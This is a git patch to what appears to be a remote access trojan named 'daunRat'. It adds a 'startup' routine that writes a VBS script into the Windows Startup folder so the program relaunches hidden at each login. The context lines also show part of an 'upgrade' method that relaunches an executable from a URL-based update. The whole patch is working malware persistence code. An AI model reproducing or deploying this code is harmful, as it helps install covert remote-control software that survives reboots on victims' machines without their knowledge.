From 3002ed1d01306962937aebdf125309d62743c2eb Mon Sep 17 00:00:00 2001 From: BarsTiger Date: Sat, 30 Apr 2022 13:04:54 +0300 Subject: [PATCH] adding daun to startup --- client/modules/selfutil.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/client/modules/selfutil.py b/client/modules/selfutil.py index a05d766..b538092 100644 --- a/client/modules/selfutil.py +++ b/client/modules/selfutil.py @@ -1,3 +1,6 @@ +import psutil + + class daunrat: @staticmethod def upgrade(url: str, old: str = "daunRat.exe", destination: str = "daunRat.exe", command: str = "daunRat.exe"): @@ -17,3 +20,17 @@ class daunrat: import sys subprocess.Popen(command, shell=True, close_fds=True) sys.exit(0) + + @staticmethod + def startup(path: str = psutil.Process().exe(), startupname: str = "daunRat", copy_to: str = None, + copy_from: str = None): + import os.path + if copy_to and copy_from: + import shutil + shutil.copy(copy_from, copy_to) + path = copy_to + with open(os.path.expandvars(f"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\\{startupname}.vbs"), + "w+") as f: + f.write(f'''Set WshShell = CreateObject("WScript.Shell") +WshShell.Run "{path} ""--start""", 0 +Set WshShell = Nothing''')